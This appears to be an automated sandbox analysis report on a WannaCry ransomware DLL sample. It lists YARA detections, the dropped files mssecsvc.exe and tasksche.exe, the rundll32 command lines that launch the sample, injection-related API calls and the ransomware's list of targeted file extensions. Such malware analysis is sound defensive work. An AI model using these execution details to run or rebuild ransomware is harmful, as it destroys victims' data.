              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.3.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 12.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 12.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 12.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 0000001F.00000000.340764115.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.258478621.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.266159981.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.260099444.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.267748192.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.261228949.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000000C.00000000.273664052.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.263823509.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 0000000C.00000002.362077615.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000002.356435159.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000002.552652986.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000007.00000000.269533614.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 00000004.00000000.262513354.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: C:\Windows\SysWOW64\rundll32.exeFile created: C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CF04_2_7FEA3CF0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA28C84_2_7FEA28C8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3CC24_2_7FEA3CC2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA4C9E4_2_7FEA4C9E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D4B4_2_7FEA3D4B
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3C3D4_2_7FEA3C3D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D364_2_7FEA3D36
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3D1F4_2_7FEA3D1F
              Source: C:\Windows\tasksche.exeCode function: 31_2_00406C4031_2_00406C40
              Source: C:\Windows\tasksche.exeCode function: 31_2_00402A7631_2_00402A76
              Source: C:\Windows\tasksche.exeCode function: 31_2_00402E7E31_2_00402E7E
              Source: C:\Windows\tasksche.exeCode function: 31_2_0040350F31_2_0040350F
              Source: C:\Windows\tasksche.exeCode function: 31_2_00404C1931_2_00404C19
              Source: C:\Windows\tasksche.exeCode function: 31_2_0040541F31_2_0040541F
              Source: C:\Windows\tasksche.exeCode function: 31_2_0040379731_2_00403797
              Source: C:\Windows\tasksche.exeCode function: 31_2_004043B731_2_004043B7
              Source: C:\Windows\tasksche.exeCode function: 31_2_004031BC31_2_004031BC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA33E0 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA33E0
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA24AE lstrcpyW,lstrlenW,NtCreateSection,4_2_7FEA24AE
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2477 NtCreateFile,NtCreateFile,NtCreateFile,NtProtectVirtualMemory,NtWriteVirtualMemory,4_2_7FEA2477
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA2574 NtMapViewOfSection,CloseHandle,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,4_2_7FEA2574
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA144A LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA144A
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA252F NtOpenSection,4_2_7FEA252F
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D GetModuleHandleA,GetVersion,VirtualAlloc,CloseHandle,SetProcessAffinityMask,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA1422 LookupPrivilegeValueA,NtAdjustPrivilegesToken,4_2_7FEA1422
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA3405 NtOpenSection,NtQuerySystemInformation,MapViewOfFile,CloseHandle,UnmapViewOfFile,4_2_7FEA3405
              Source: mssecsvc.exe.2.drStatic PE information: Resource name: R type: PE32 executable (GUI) Intel 80386, for MS Windows
              Source: tasksche.exe.7.drStatic PE information: Resource name: XIA type: Zip archive data, at least v2.0 to extract
              Source: C:\Windows\System32\svchost.exeSection loaded: xboxlivetitleid.dllJump to behavior
              Source: C:\Windows\System32\svchost.exeSection loaded: cdpsgshims.dllJump to behavior
              Source: Joe Sandbox ViewDropped File: C:\Windows\tasksche.exe F60F8A6BCAF1384A0D6A76D3E88007A8604560B263D2B8AEEE06FD74C9EE5B3B
              Source: 4GDffePnzH.dllMetadefender: Detection: 74%
              Source: 4GDffePnzH.dllReversingLabs: Detection: 92%
              Source: 4GDffePnzH.dllStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
              Source: C:\Windows\System32\loaddll32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: unknownProcess created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll"
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4GDffePnzH.dll,PlayGame
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",PlayGame
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe
              Source: unknownProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exe -m security
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
              Source: unknownProcess created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
              Source: unknownProcess created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k unistacksvcgroup
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\backgroundTaskHost.exe "C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /i
              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1Jump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4GDffePnzH.dll,PlayGameJump to behavior
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",PlayGameJump to behavior
              Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\4GDffePnzH.dll",#1Jump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\SysWOW64\rundll32.exeProcess created: C:\Windows\mssecsvc.exe C:\WINDOWS\mssecsvc.exeJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess created: C:\Windows\tasksche.exe C:\WINDOWS\tasksche.exe /iJump to behavior
              Source: C:\Windows\System32\svchost.exeProcess created: unknown unknownJump to behavior
              Source: C:\Windows\mssecsvc.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32Jump to behavior
              Source: C:\Windows\System32\svchost.exeFile created: C:\Users\user\AppData\Local\packages\ActiveSync\LocalState\DiagOutputDir\UnistackCritical.etlJump to behavior
              Source: classification engineClassification label: mal100.rans.troj.evad.winDLL@30/33@2/3
              Source: C:\Windows\tasksche.exeCode function: OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,31_2_00401CE8
              Source: C:\Windows\tasksche.exeCode function: 31_2_00401CE8 OpenSCManagerA,OpenServiceA,StartServiceA,CloseServiceHandle,sprintf,CreateServiceA,StartServiceA,CloseServiceHandle,CloseServiceHandle,31_2_00401CE8
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 CloseHandle,GetModuleHandleA,NtCreateFile,NtOpenFile,NtCreateProcess,NtCreateProcessEx,NtCreateUserProcess,NtQueryInformationProcess,lstrcpyW,lstrcpyW,lstrcatW,NtMapViewOfSection,NtOpenProcessToken,CreateToolhelp32Snapshot,Process32First,Process32Next,OpenProcess,CreateRemoteThread,CloseHandle,CloseHandle,4_2_7FEA05F2
              Source: C:\Windows\System32\loaddll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\4GDffePnzH.dll,PlayGame
              Source: mssecsvc.exe, 00000004.00000000.258478621.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000004.00000002.552652986.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000000.266159981.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 00000007.00000002.356435159.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000C.00000000.273664052.0000000000710000.00000080.00000001.01000000.00000004.sdmp, mssecsvc.exe, 0000000C.00000002.362077615.0000000000710000.00000080.00000001.01000000.00000004.sdmp, tasksche.exe, 0000001F.00000000.340764115.000000000040E000.00000008.00000001.01000000.00000008.sdmp, 4GDffePnzH.dll, mssecsvc.exe.2.drBinary or memory string: @.der.pfx.key.crt.csr.p12.pem.odt.ott.sxw.stw.uot.3ds.max.3dm.ods.ots.sxc.stc.dif.slk.wb2.odp.otp.sxd.std.uop.odg.otg.sxm.mml.lay.lay6.asc.sqlite3.sqlitedb.sql.accdb.mdb.db.dbf.odb.frm.myd.myi.ibd.mdf.ldf.sln.suo.cs.c.cpp.pas.h.asm.js.cmd.bat.ps1.vbs.vb.pl.dip.dch.sch.brd.jsp.php.asp.rb.java.jar.class.sh.mp3.wav.swf.fla.wmv.mpg.vob.mpeg.asf.avi.mov.mp4.3gp.mkv.3g2.flv.wma.mid.m3u.m4u.djvu.svg.ai.psd.nef.tiff.tif.cgm.raw.gif.png.bmp.jpg.jpeg.vcd.iso.backup.zip.rar.7z.gz.tgz.tar.bak.tbk.bz2.PAQ.ARC.aes.gpg.vmx.vmdk.vdi.sldm.sldx.sti.sxi.602.hwp.snt.onetoc2.dwg.pdf.wk1.wks.123.rtf.csv.txt.vsdx.vsd.edb.eml.msg.ost.pst.potm.potx.ppam.ppsx.ppsm.pps.pot.pptm.pptx.ppt.xltm.xltx.xlc.xlm.xlt.xlw.xlsb.xlsm.xlsx.xls.dotx.dotm.dot.docm.docb.docx.docWANACRY!%s\%sCloseHandleDeleteFileWMoveFileExWMoveFileWReadFileWriteFileCreateFileWkernel32.dll
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-StarterEdition-wrapper~3
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04392\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a04160\avg-secure-search-installer.exe
              Source: mssecsvc.exeString found in binary or memory: O\Device\HarddiskVolume2\Windows\Temp\avg_a01924\avg-secure-search-installer.exe2
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-2-Pa
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Server-Help-Package.ClientUltimate~31bf385
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-IIS-WebServer-AddOn-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-CoreClientUAUE-Pack
              Source: mssecsvc.exeString found in binary or memory: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Help-Customization-Packa
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\mssecsvc.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\backgroundTaskHost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
              Source: 4GDffePnzH.dllStatic file information: File size 5267459 > 1048576
              Source: 4GDffePnzH.dllStatic PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x501000
